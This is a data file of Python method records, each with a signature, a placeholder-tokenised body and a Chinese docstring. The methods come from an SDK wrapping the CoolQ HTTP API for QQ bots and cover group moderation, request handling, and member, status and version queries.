{"signature": "def set_group_ban(self, *, group_id, user_id, duration=<NUM_LIT:30> * <NUM_LIT>):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, user_id=user_id, duration=duration)<EOL>", "docstring": "\u7fa4\u7ec4\u5355\u4eba\u7981\u8a00\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param int user_id: \u8981\u7981\u8a00\u7684 QQ \u53f7\n:param int duration: \u7981\u8a00\u65f6\u957f\uff0c\u5355\u4f4d\u79d2\uff0c0 \u8868\u793a\u53d6\u6d88\u7981\u8a00\n:return: None\n:rtype: None", "id": "f847:c0:m12"}
{"signature": "def set_group_anonymous_ban(self, *, group_id, flag, duration=<NUM_LIT:30> * <NUM_LIT>):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, flag=flag, duration=duration)<EOL>", "docstring": "\u7fa4\u7ec4\u533f\u540d\u7528\u6237\u7981\u8a00\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param str flag: \u8981\u7981\u8a00\u7684\u533f\u540d\u7528\u6237\u7684 flag\uff08\u9700\u4ece\u7fa4\u6d88\u606f\u4e0a\u62a5\u7684\u6570\u636e\u4e2d\u83b7\u5f97\uff09\n:param int duration: \u7981\u8a00\u65f6\u957f\uff0c\u5355\u4f4d\u79d2\uff0c**\u65e0\u6cd5\u53d6\u6d88\u533f\u540d\u7528\u6237\u7981\u8a00**\n:return: None\n:rtype: None", "id": "f847:c0:m13"}
{"signature": "def set_group_whole_ban(self, *, group_id, enable=True):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, enable=enable)<EOL>", "docstring": "\u7fa4\u7ec4\u5168\u5458\u7981\u8a00\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param bool enable: \u662f\u5426\u7981\u8a00\n:return: None\n:rtype: None", "id": "f847:c0:m14"}
{"signature": "def set_group_admin(self, *, group_id, user_id, enable=True):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, user_id=user_id, enable=enable)<EOL>", "docstring": "\u7fa4\u7ec4\u8bbe\u7f6e\u7ba1\u7406\u5458\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param user_id: \u8981\u8bbe\u7f6e\u7ba1\u7406\u5458\u7684 QQ \u53f7\n:param enable: True \u4e3a\u8bbe\u7f6e\uff0cFalse \u4e3a\u53d6\u6d88\n:return: None\n:rtype: None", "id": "f847:c0:m15"}
{"signature": "def set_group_anonymous(self, *, group_id, enable=True):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, enable=enable)<EOL>", "docstring": "\u7fa4\u7ec4\u533f\u540d\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param bool enable: \u662f\u5426\u5141\u8bb8\u533f\u540d\u804a\u5929\n:return: None\n:rtype: None", "id": "f847:c0:m16"}
{"signature": "def set_group_card(self, *, group_id, user_id, card=None):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, user_id=user_id, card=card)<EOL>", "docstring": "\u8bbe\u7f6e\u7fa4\u540d\u7247\uff08\u7fa4\u5907\u6ce8\uff09\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param int user_id: \u8981\u8bbe\u7f6e\u7684 QQ \u53f7\n:param str | None card: \u7fa4\u540d\u7247\u5185\u5bb9\uff0c\u4e0d\u586b\u6216\u7a7a\u5b57\u7b26\u4e32\u8868\u793a\u5220\u9664\u7fa4\u540d\u7247\n:return: None\n:rtype: None", "id": "f847:c0:m17"}
{"signature": "def set_group_leave(self, *, group_id, is_dismiss=False):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, is_dismiss=is_dismiss)<EOL>", "docstring": "\u9000\u51fa\u7fa4\u7ec4\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param bool is_dismiss: \u662f\u5426\u89e3\u6563\uff0c\u5982\u679c\u767b\u5f55\u53f7\u662f\u7fa4\u4e3b\uff0c\u5219\u4ec5\u5728\u6b64\u9879\u4e3a true \u65f6\u80fd\u591f\u89e3\u6563\n:return: None\n:rtype: None", "id": "f847:c0:m18"}
{"signature": "def set_group_special_title(self, *, group_id, user_id, special_title, duration=-<NUM_LIT:1>):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, user_id=user_id, special_title=special_title, duration=duration)<EOL>", "docstring": "\u8bbe\u7f6e\u7fa4\u7ec4\u4e13\u5c5e\u5934\u8854\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param int user_id: \u8981\u8bbe\u7f6e\u7684 QQ \u53f7\n:param str special_title: \u4e13\u5c5e\u5934\u8854\uff0c\u4e0d\u586b\u6216\u7a7a\u5b57\u7b26\u4e32\u8868\u793a\u5220\u9664\u4e13\u5c5e\u5934\u8854\uff0c\u53ea\u80fd\u4fdd\u7559\u524d6\u4e2a\u82f1\u6587\u4e0e\u6c49\u5b57\uff0cEmoji \u6839\u636e\u5b57\u7b26\u5b9e\u9645\u5b57\u7b26\u957f\u5ea6\u5360\u7528\u53ea\u80fd\u653e\u6700\u591a3\u4e2a\u751a\u81f3\u66f4\u5c11\uff0c\u8d85\u51fa\u957f\u5ea6\u90e8\u5206\u4f1a\u88ab\u622a\u65ad\n:param int duration: \u4e13\u5c5e\u5934\u8854\u6709\u6548\u671f\uff0c\u5355\u4f4d\u79d2\uff0c-1 \u8868\u793a\u6c38\u4e45\uff0c\u4e0d\u8fc7\u6b64\u9879\u4f3c\u4e4e\u6ca1\u6709\u6548\u679c\uff0c\u53ef\u80fd\u662f\u53ea\u6709\u67d0\u4e9b\u7279\u6b8a\u7684\u65f6\u95f4\u957f\u5ea6\u6709\u6548\uff0c\u6709\u5f85\u6d4b\u8bd5\n:return: None\n:rtype: None", "id": "f847:c0:m19"}
{"signature": "def set_discuss_leave(self, *, discuss_id):", "body": "return super().__getattr__('<STR_LIT>')(discuss_id=discuss_id)<EOL>", "docstring": "\u9000\u51fa\u8ba8\u8bba\u7ec4\n\n------------\n\n:param int discuss_id: \u8ba8\u8bba\u7ec4 ID\uff08\u6b63\u5e38\u60c5\u51b5\u4e0b\u770b\u4e0d\u5230\uff0c\u9700\u8981\u4ece\u8ba8\u8bba\u7ec4\u6d88\u606f\u4e0a\u62a5\u7684\u6570\u636e\u4e2d\u83b7\u5f97\uff09\n:return: None\n:rtype: None", "id": "f847:c0:m20"}
{"signature": "def set_friend_add_request(self, *, flag, approve=True, remark=None):", "body": "return super().__getattr__('<STR_LIT>')(flag=flag, approve=approve, remark=remark)<EOL>", "docstring": "\u5904\u7406\u52a0\u597d\u53cb\u8bf7\u6c42\n\n------------\n\n:param str flag: \u52a0\u597d\u53cb\u8bf7\u6c42\u7684 flag\uff08\u9700\u4ece\u4e0a\u62a5\u7684\u6570\u636e\u4e2d\u83b7\u5f97\uff09\n:param bool approve: \u662f\u5426\u540c\u610f\u8bf7\u6c42\n:param str remark: \u6dfb\u52a0\u540e\u7684\u597d\u53cb\u5907\u6ce8\uff08\u4ec5\u5728\u540c\u610f\u65f6\u6709\u6548\uff09\n:return: None\n:rtype: None", "id": "f847:c0:m21"}
{"signature": "def set_group_add_request(self, *, flag, type, approve=True, reason=None):", "body": "return super().__getattr__('<STR_LIT>')(flag=flag, type=type, approve=approve, reason=reason)<EOL>", "docstring": "\u5904\u7406\u52a0\u7fa4\u8bf7\u6c42\u3001\u7fa4\u7ec4\u6210\u5458\u9080\u8bf7\n\n------------\n\n:param str flag: \u52a0\u7fa4\u8bf7\u6c42\u7684 flag\uff08\u9700\u4ece\u4e0a\u62a5\u7684\u6570\u636e\u4e2d\u83b7\u5f97\uff09\n:param str type: `add` \u6216 `invite`\uff0c\u8bf7\u6c42\u7c7b\u578b\uff08\u9700\u8981\u548c\u4e0a\u62a5\u6d88\u606f\u4e2d\u7684 `sub_type` \u5b57\u6bb5\u76f8\u7b26\uff09\n:param bool approve: \u662f\u5426\u540c\u610f\u8bf7\u6c42/\u9080\u8bf7\n:param str reason: \u62d2\u7edd\u7406\u7531\uff08\u4ec5\u5728\u62d2\u7edd\u65f6\u6709\u6548\uff09\n:return: None\n:rtype: None", "id": "f847:c0:m22"}
{"signature": "def get_login_info(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u83b7\u53d6\u767b\u5f55\u53f7\u4fe1\u606f\n\n------------\n\n:return: { \"user_id\": (QQ \u53f7: int), \"nickname\": (QQ \u6635\u79f0: str) }\n:rtype: dict[ str, int | str ]\n\n------------\n\n=========  =========  =========\n\u54cd\u5e94\u6570\u636e\n-------------------------------\n\u6570\u636e\u7c7b\u578b   \u5b57\u6bb5\u540d      \u8bf4\u660e\n=========  =========  =========\nint        user_id    QQ \u53f7\nstr        nickname   QQ \u6635\u79f0\n=========  =========  =========", "id": "f847:c0:m23"}
{"signature": "def get_stranger_info(self, *, user_id, no_cache=False):", "body": "return super().__getattr__('<STR_LIT>')(user_id=user_id, no_cache=no_cache)<EOL>", "docstring": "\u83b7\u53d6\u964c\u751f\u4eba\u4fe1\u606f\n\n------------\n\n:param int user_id: QQ \u53f7\uff08\u4e0d\u53ef\u4ee5\u662f\u767b\u5f55\u53f7\uff09\n:param bool no_cache: \u662f\u5426\u4e0d\u4f7f\u7528\u7f13\u5b58\uff08\u4f7f\u7528\u7f13\u5b58\u53ef\u80fd\u66f4\u65b0\u4e0d\u53ca\u65f6\uff0c\u4f46\u54cd\u5e94\u66f4\u5feb\uff09\n:return: { \"user_id\": (QQ \u53f7: int), \"nickname\": (\u6635\u79f0: str), \"sex\": (\u6027\u522b: str in ['male', 'female', 'unknown']), \"age\": (\u5e74\u9f84: int) }\n:rtype: dict[ str, int | str ]\n\n------------\n\n========  =========  ======================================\n\u54cd\u5e94\u6570\u636e\n-----------------------------------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d     \u8bf4\u660e\n========  =========  ======================================\nint       user_id    QQ \u53f7\nstr       nickname   \u6635\u79f0\nstr       sex        \u6027\u522b\uff0c`male` \u6216 `female` \u6216 `unknown`\nint       age        \u5e74\u9f84\n========  =========  ======================================", "id": "f847:c0:m24"}
{"signature": "def get_group_list(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u83b7\u53d6\u7fa4\u5217\u8868\n\n------------\n\n:return: [{ \"group_id\": (\u7fa4\u53f7: int), \"group_name\": (\u7fa4\u540d\u79f0: str) }, ...]\n:rtype: list[ dict[ str, int | str ] ]\n\n------------\n\n========  ===========  =========\n\u54cd\u5e94\u6570\u636e\n--------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d       \u8bf4\u660e\n========  ===========  =========\nint       group_id     \u7fa4\u53f7\nstr       group_name   \u7fa4\u540d\u79f0\n========  ===========  =========", "id": "f847:c0:m25"}
{"signature": "def get_group_member_info(self, *, group_id, user_id, no_cache=False):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id, user_id=user_id, no_cache=no_cache)<EOL>", "docstring": "\u83b7\u53d6\u7fa4\u6210\u5458\u4fe1\u606f\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:param int user_id: QQ \u53f7\uff08\u4e0d\u53ef\u4ee5\u662f\u767b\u5f55\u53f7\uff09\n:param bool no_cache: \u662f\u5426\u4e0d\u4f7f\u7528\u7f13\u5b58\uff08\u4f7f\u7528\u7f13\u5b58\u53ef\u80fd\u66f4\u65b0\u4e0d\u53ca\u65f6\uff0c\u4f46\u54cd\u5e94\u66f4\u5feb\uff09\n:return: { \"group_id\": (\u7fa4\u53f7: int), \"user_id\": (QQ \u53f7: int), \"nickname\": (\u6635\u79f0: str), \"card\": (\u7fa4\u540d\u7247/\u5907\u6ce8: str), \"sex\": (\u6027\u522b: str in ['male', 'female', 'unknown']), \"age\": (\u5e74\u9f84: int), \"area\": (\u5730\u533a: str), \"join_time\": (\u52a0\u7fa4\u65f6\u95f4\u6233: int), \"last_sent_time\": (\u6700\u540e\u53d1\u8a00\u65f6\u95f4\u6233: int), \"level\": (\u6210\u5458\u7b49\u7ea7: str), \"role\": (\u89d2\u8272: str in ['owner', 'admin', 'member']), \"unfriendly\": (\u662f\u5426\u4e0d\u826f\u8bb0\u5f55\u6210\u5458: bool), \"title\": (\u4e13\u5c5e\u5934\u8854: str), \"title_expire_time\": (\u4e13\u5c5e\u5934\u8854\u8fc7\u671f\u65f6\u95f4\u6233: int), \"card_changeable\": (\u662f\u5426\u5141\u8bb8\u4fee\u6539\u7fa4\u540d\u7247: bool) }\n:rtype: dict[ str, int | str | bool ]\n\n------------\n\n========  ===================  ======================================\n    \u54cd\u5e94\u6570\u636e\n---------------------------------------------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d               \u8bf4\u660e\n========  ===================  ======================================\nint       group_id             \u7fa4\u53f7\nint       user_id              QQ \u53f7\nstr       nickname             \u6635\u79f0\nstr       card                 \u7fa4\u540d\u7247/\u5907\u6ce8\nstr       sex                  \u6027\u522b\uff0c`male` \u6216 `female` \u6216 `unknown`\nint       age                  \u5e74\u9f84\nstr       area                 \u5730\u533a\nint       join_time            \u52a0\u7fa4\u65f6\u95f4\u6233\nint       last_sent_time       \u6700\u540e\u53d1\u8a00\u65f6\u95f4\u6233\nstr       level                \u6210\u5458\u7b49\u7ea7\nstr       role                 \u89d2\u8272\uff0c`owner` \u6216 `admin` \u6216 `member`\nbool      unfriendly           \u662f\u5426\u4e0d\u826f\u8bb0\u5f55\u6210\u5458\nstr       title                \u4e13\u5c5e\u5934\u8854\nint       title_expire_time    \u4e13\u5c5e\u5934\u8854\u8fc7\u671f\u65f6\u95f4\u6233\nbool      card_changeable      \u662f\u5426\u5141\u8bb8\u4fee\u6539\u7fa4\u540d\u7247\n========  ===================  ======================================", "id": "f847:c0:m26"}
{"signature": "def get_group_member_list(self, *, group_id):", "body": "return super().__getattr__('<STR_LIT>')(group_id=group_id)<EOL>", "docstring": "\u83b7\u53d6\u7fa4\u6210\u5458\u5217\u8868\n\n------------\n\n:param int group_id: \u7fa4\u53f7\n:return: [{ \"group_id\": (\u7fa4\u53f7: int), \"user_id\": (QQ \u53f7: int), \"nickname\": (\u6635\u79f0: str), \"card\": (\u7fa4\u540d\u7247/\u5907\u6ce8: str), \"sex\": (\u6027\u522b: str in ['male', 'female', 'unknown']), \"age\": (\u5e74\u9f84: int), \"area\": (\u5730\u533a: str), \"join_time\": (\u52a0\u7fa4\u65f6\u95f4\u6233: int), \"last_sent_time\": (\u6700\u540e\u53d1\u8a00\u65f6\u95f4\u6233: int), \"level\": (\u6210\u5458\u7b49\u7ea7: str), \"role\": (\u89d2\u8272: str in ['owner', 'admin', 'member']), \"unfriendly\": (\u662f\u5426\u4e0d\u826f\u8bb0\u5f55\u6210\u5458: bool), \"title\": (\u4e13\u5c5e\u5934\u8854: str), \"title_expire_time\": (\u4e13\u5c5e\u5934\u8854\u8fc7\u671f\u65f6\u95f4\u6233: int), \"card_changeable\": (\u662f\u5426\u5141\u8bb8\u4fee\u6539\u7fa4\u540d\u7247: bool) }, ...]\n:rtype: list[ dict[ str, int | str | bool ] ]\n\n------------\n\n\u54cd\u5e94\u6570\u636e\u4ee5 **\u5217\u8868** \u5305\u88c5\u7684\u5b57\u5178\u7684\u5f62\u5f0f\u63d0\u4f9b\u3002`( List[ Dict[ ...] ] )`\n\n========  ===================  ======================================\n    \u54cd\u5e94\u6570\u636e\n---------------------------------------------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d               \u8bf4\u660e\n========  ===================  ======================================\nint       group_id             \u7fa4\u53f7\nint       user_id              QQ \u53f7\nstr       nickname             \u6635\u79f0\nstr       card                 \u7fa4\u540d\u7247/\u5907\u6ce8\nstr       sex                  \u6027\u522b\uff0c`male` \u6216 `female` \u6216 `unknown`\nint       age                  \u5e74\u9f84\nstr       area                 \u5730\u533a\nint       join_time            \u52a0\u7fa4\u65f6\u95f4\u6233\nint       last_sent_time       \u6700\u540e\u53d1\u8a00\u65f6\u95f4\u6233\nstr       level                \u6210\u5458\u7b49\u7ea7\nstr       role                 \u89d2\u8272\uff0c`owner` \u6216 `admin` \u6216 `member`\nbool      unfriendly           \u662f\u5426\u4e0d\u826f\u8bb0\u5f55\u6210\u5458\nstr       title                \u4e13\u5c5e\u5934\u8854\nint       title_expire_time    \u4e13\u5c5e\u5934\u8854\u8fc7\u671f\u65f6\u95f4\u6233\nbool      card_changeable      \u662f\u5426\u5141\u8bb8\u4fee\u6539\u7fa4\u540d\u7247\n========  ===================  ======================================\n\n**\u5907\u6ce8:** \u54cd\u5e94\u5185\u5bb9\u4e3a\u5305\u542b\u5b57\u5178\u7684\u5217\u8868 *( List[ Dict[] ] )* \uff0c\u6bcf\u4e2a\u5143\u7d20\u7684\u5185\u5bb9\u548c `get_group_member_info` \u63a5\u53e3\u76f8\u540c\uff0c\u4f46\u5bf9\u4e8e\u540c\u4e00\u4e2a\u7fa4\u7ec4\u7684\u540c\u4e00\u4e2a\u6210\u5458\uff0c\u83b7\u53d6\u5217\u8868\u65f6\u548c\u83b7\u53d6\u5355\u72ec\u7684\u6210\u5458\u4fe1\u606f\u65f6\uff0c\u67d0\u4e9b\u5b57\u6bb5\u53ef\u80fd\u6709\u6240\u4e0d\u540c\uff0c\u4f8b\u5982 `area`\u3001`title` \u7b49\u5b57\u6bb5\u5728\u83b7\u53d6\u5217\u8868\u65f6\u65e0\u6cd5\u83b7\u5f97\uff0c\u5177\u4f53\u5e94\u4ee5\u5355\u72ec\u7684\u6210\u5458\u4fe1\u606f\u4e3a\u51c6\u3002", "id": "f847:c0:m27"}
{"signature": "def get_cookies(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u83b7\u53d6 Cookies\n\n------------\n\n:return: { \"cookies\": (Cookies: str)}\n:rtype: dict[ str, str ]\n\n------------\n\n========  ===========  =========\n\u54cd\u5e94\u6570\u636e\n--------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d       \u8bf4\u660e\n========  ===========  =========\nstr       cookies      Cookies\n========  ===========  =========", "id": "f847:c0:m28"}
{"signature": "def get_csrf_token(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u83b7\u53d6 CSRF Token\n\n------------\n\n:return: { \"token\": (CSRF Token: int)}\n:rtype: dict[ str, int ]\n\n------------\n\n========  ===========  ==========\n\u54cd\u5e94\u6570\u636e\n---------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d       \u8bf4\u660e\n========  ===========  ==========\nint       token        CSRF Token\n========  ===========  ==========", "id": "f847:c0:m29"}
{"signature": "def get_record(self, *, file, out_format):", "body": "return super().__getattr__('<STR_LIT>')(file=file, out_format=out_format)<EOL>", "docstring": "\u83b7\u53d6\u8bed\u97f3\n\n------------\n\n:param str file: \u6536\u5230\u7684\u8bed\u97f3\u6587\u4ef6\u540d\uff0c\u5982 `0B38145AA44505000B38145AA4450500.silk`\n:param str out_format: \u8981\u8f6c\u6362\u5230\u7684\u683c\u5f0f\uff0c\u76ee\u524d\u652f\u6301 `mp3`\u3001`amr`\u3001`wma`\u3001`m4a`\u3001`spx`\u3001`ogg`\u3001`wav`\u3001`flac`\n:return: { \"file\": (\u8f6c\u6362\u540e\u7684\u8bed\u97f3\u6587\u4ef6\u540d: str)}\n:rtype: dict[ str, str ]\n\n\n------------\n\n\u5176\u5b9e\u5e76\u4e0d\u662f\u771f\u7684\u83b7\u53d6\u8bed\u97f3\uff0c\u800c\u662f\u8f6c\u6362\u8bed\u97f3\u5230\u6307\u5b9a\u7684\u683c\u5f0f\uff0c\u7136\u540e\u8fd4\u56de\u8bed\u97f3\u6587\u4ef6\u540d\uff08`data/record` \u76ee\u5f55\u4e0b\uff09\u3002\n\n========  ===========  =============================================================\n\u54cd\u5e94\u6570\u636e\n------------------------------------------------------------------------------------\n\u6570\u636e\u7c7b\u578b   \u5b57\u6bb5\u540d       \u8bf4\u660e\n========  ===========  =============================================================\nstr       file          \u8f6c\u6362\u540e\u7684\u8bed\u97f3\u6587\u4ef6\u540d\uff0c\u5982 `0B38145AA44505000B38145AA4450500.mp3`\n========  ===========  =============================================================", "id": "f847:c0:m30"}
{"signature": "def get_status(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u83b7\u53d6\u63d2\u4ef6\u8fd0\u884c\u72b6\u6001\n\n------------\n\n:return: { \"good\": (\u6b63\u5e38\u8fd0\u884c: bool), \"app_initialized\": (\u63d2\u4ef6\u5df2\u521d\u59cb\u5316: bool), \"app_enabled\": (\u63d2\u4ef6\u5df2\u542f\u7528: bool), \"online\": (\u5f53\u524dQQ\u5728\u7ebf: bool), \"http_service_good\": (HTTP\u670d\u52a1\u6b63\u5e38\u8fd0\u884c: bool), \"ws_service_good\": (WebSocket\u670d\u52a1\u6b63\u5e38\u8fd0\u884c: bool), \"ws_reverse_service_good\": (\u53cd\u5411WebSocket\u670d\u52a1\u6b63\u5e38\u8fd0\u884c: bool) }\n:rtype: dict[ str, bool ]\n\n------------\n\n========  ========================  ====================================\n\u54cd\u5e94\u6570\u636e\n------------------------------------------------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d                    \u8bf4\u660e\n========  ========================  ====================================\nbool      good                      \u63d2\u4ef6\u72b6\u6001\u7b26\u5408\u9884\u671f\uff0c\u610f\u5473\u7740\u63d2\u4ef6\u5df2\u521d\u59cb\u5316\uff0c\u9700\u8981\u542f\u52a8\u7684\u670d\u52a1\u90fd\u5728\u6b63\u5e38\u8fd0\u884c\uff0c\u4e14 QQ \u5728\u7ebf\nbool      app_initialized           \u63d2\u4ef6\u5df2\u521d\u59cb\u5316\nbool      app_enabled               \u63d2\u4ef6\u5df2\u542f\u7528\nbool      online                    \u5f53\u524d QQ \u5728\u7ebf\nbool      http_service_good         `use_http` \u914d\u7f6e\u9879\u4e3a `yes` \u65f6\u6709\u6b64\u5b57\u6bb5\uff0c\u8868\u793a HTTP \u670d\u52a1\u6b63\u5e38\u8fd0\u884c\nbool      ws_service_good           `use_ws` \u914d\u7f6e\u9879\u4e3a `yes` \u65f6\u6709\u6b64\u5b57\u6bb5\uff0c\u8868\u793a WebSocket \u670d\u52a1\u6b63\u5e38\u8fd0\u884c\nbool      ws_reverse_service_good   `use_ws_reverse` \u914d\u7f6e\u9879\u4e3a `yes` \u65f6\u6709\u6b64\u5b57\u6bb5\uff0c\u8868\u793a\u53cd\u5411 WebSocket \u670d\u52a1\u6b63\u5e38\u8fd0\u884c\n========  ========================  ====================================", "id": "f847:c0:m31"}
{"signature": "def get_version_info(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u83b7\u53d6\u9177 Q \u53ca HTTP API \u63d2\u4ef6\u7684\u7248\u672c\u4fe1\u606f\n\n------------\n\n:return: { \"coolq_directory\": (\u9177Q\u6839\u76ee\u5f55\u8def\u5f84: str), \"coolq_edition\": (\u9177Q\u7248\u672c: str in ['air', 'pro']), \"plugin_version\": (API\u63d2\u4ef6\u7248\u672c: str), \"plugin_build_number\": (API\u63d2\u4ef6build\u53f7: int), \"plugin_build_configuration\": (API\u63d2\u4ef6\u7f16\u8bd1\u914d\u7f6e: str in ['debug', 'release']) }\n:rtype: dict[ str, int | str ]\n\n\n------------\n\n========  ==========================  ===============================\n\u54cd\u5e94\u6570\u636e\n---------------------------------------------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d                      \u8bf4\u660e\n========  ==========================  ===============================\nstr       coolq_directory             \u9177 Q \u6839\u76ee\u5f55\u8def\u5f84\nstr       coolq_edition               \u9177 Q \u7248\u672c\uff0c`air` \u6216 `pro`\nstr       plugin_version              HTTP API \u63d2\u4ef6\u7248\u672c\uff0c\u4f8b\u5982 2.1.3\nint       plugin_build_number         HTTP API \u63d2\u4ef6 build \u53f7\nstr       plugin_build_configuration  HTTP API \u63d2\u4ef6\u7f16\u8bd1\u914d\u7f6e\uff0c`debug` \u6216 `release`\n========  ==========================  ===============================", "id": "f847:c0:m32"}
{"signature": "def set_restart(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u91cd\u542f\u9177 Q\uff0c\u5e76\u4ee5\u5f53\u524d\u767b\u5f55\u53f7\u81ea\u52a8\u767b\u5f55\uff08\u9700\u52fe\u9009\u5feb\u901f\u767b\u5f55\uff09\n\n------------\n\n:return: None\n:rtype: None", "id": "f847:c0:m33"}
{"signature": "def set_restart_plugin(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u91cd\u542f HTTP API \u63d2\u4ef6\n\n------------\n\n:return: None\n:rtype: None\n\n------------\n\n\u7531\u4e8e\u91cd\u542f\u63d2\u4ef6\u540c\u65f6\u9700\u8981\u91cd\u542f API \u670d\u52a1\uff0c\u8fd9\u610f\u5473\u7740\u5f53\u524d\u7684 API \u8bf7\u6c42\u4f1a\u88ab\u4e2d\u65ad\uff0c\u56e0\u6b64\u8fd9\u4e2a\u63a5\u53e3\u4f1a\u5ef6\u8fdf 2 \u79d2\u91cd\u542f\u63d2\u4ef6\uff0c\u63a5\u53e3\u8fd4\u56de\u7684 status \u662f async\u3002\n\n**\u5728Python SDK\u4e2d\u8fd4\u56de None \u3002**", "id": "f847:c0:m34"}
{"signature": "def clean_data_dir(self, *, data_dir):", "body": "return super().__getattr__('<STR_LIT>')(data_dir=data_dir)<EOL>", "docstring": "\u6e05\u7406\u6570\u636e\u76ee\u5f55\n\n------------\n\n:param str data_dir: \u6536\u5230\u6e05\u7406\u7684\u76ee\u5f55\u540d\uff0c\u652f\u6301 `image`\u3001`record`\u3001`show`\u3001`bface`\n:return: None\n:rtype: None\n\n------------\n\n\u7528\u4e8e\u6e05\u7406\u79ef\u6512\u4e86\u592a\u591a\u65e7\u6587\u4ef6\u7684\u6570\u636e\u76ee\u5f55\uff0c\u5982 `image`\u3002\n\nHTTP API v3.3.4 \u65b0\u589e", "id": "f847:c0:m35"}
{"signature": "def clean_data_dir_async(self, *, data_dir):", "body": "return super().__getattr__('<STR_LIT>')(data_dir=data_dir)<EOL>", "docstring": "\u6e05\u7406\u6570\u636e\u76ee\u5f55 (\u5f02\u6b65\u7248\u672c)\n\n------------\n\n:param str data_dir: \u6536\u5230\u6e05\u7406\u7684\u76ee\u5f55\u540d\uff0c\u652f\u6301 `image`\u3001`record`\u3001`show`\u3001`bface`\n:return: None\n:rtype: None\n\n------------\n\n\u7528\u4e8e\u6e05\u7406\u79ef\u6512\u4e86\u592a\u591a\u65e7\u6587\u4ef6\u7684\u6570\u636e\u76ee\u5f55\uff0c\u5982 `image`\u3002\n\nHTTP API v3.3.4 \u65b0\u589e", "id": "f847:c0:m36"}
{"signature": "def _get_friend_list(self):", "body": "return super().__getattr__('<STR_LIT>')()<EOL>", "docstring": "\u83b7\u53d6\u597d\u53cb\u5217\u8868 (\u5b9e\u9a8c\u6027\u529f\u80fd)\n\n------------\n\n:return: [{ \"friend_group_id\": (\u597d\u53cb\u5206\u7ec4 ID: int), \"friend_group_name\": (\u597d\u53cb\u5206\u7ec4\u540d\u79f0: str), \"friends\": (\u5206\u7ec4\u4e2d\u7684\u597d\u53cb: [{ \"nickname\": (\u597d\u53cb\u6635\u79f0: str), \"remark\": (\u597d\u53cb\u5907\u6ce8: str), \"user_id\": (\u597d\u53cb QQ \u53f7: int) }, ...]) }, ...]\n:rtype: list[ dict[ str, int | str | list[ dict[ str, int | str ] ] ] ]\n\n------------\n\n\u54cd\u5e94\u6570\u636e\u4ee5 **\u5217\u8868** \u5305\u88c5\u7684\u5b57\u5178\u7684\u5f62\u5f0f\u63d0\u4f9b\u3002`( List[ Dict[ ...] ] )`\n\n========  ==================  ===============================\n\u54cd\u5e94\u6570\u636e\n-------------------------------------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d                      \u8bf4\u660e\n========  ==================  ===============================\nint       friend_group_id     \u597d\u53cb\u5206\u7ec4 ID\nstr       friend_group_name   \u597d\u53cb\u5206\u7ec4\u540d\u79f0\nlist      friends             \u5206\u7ec4\u4e2d\u7684\u597d\u53cb\n========  ==================  ===============================\n\n\u5176\u4e2d\uff0c\u597d\u53cb\u4fe1\u606f\u7ed3\u6784\u4ee5 **\u5b57\u5178** \u7684\u5f62\u5f0f\u5b58\u50a8\u5728\u54cd\u5e94\u6570\u636e\u4e2d\u7684\u5206\u7ec4\u4e2d\u7684\u597d\u53cb `friends` \u7684 **\u5217\u8868** \u4e2d\u3002`( List[ Dict[ ...] ] )`\n\n========  ==================  ===============================\n\u597d\u53cb\u4fe1\u606f\u7ed3\u6784\n-------------------------------------------------------------\n\u6570\u636e\u7c7b\u578b  \u5b57\u6bb5\u540d                      \u8bf4\u660e\n========  ==================  ===============================\nstr       nickname            \u597d\u53cb\u6635\u79f0\nstr       remark              \u597d\u53cb\u5907\u6ce8\nint       user_id             \u597d\u53cb QQ \u53f7\n========  ==================  ===============================", "id": "f847:c0:m37"}
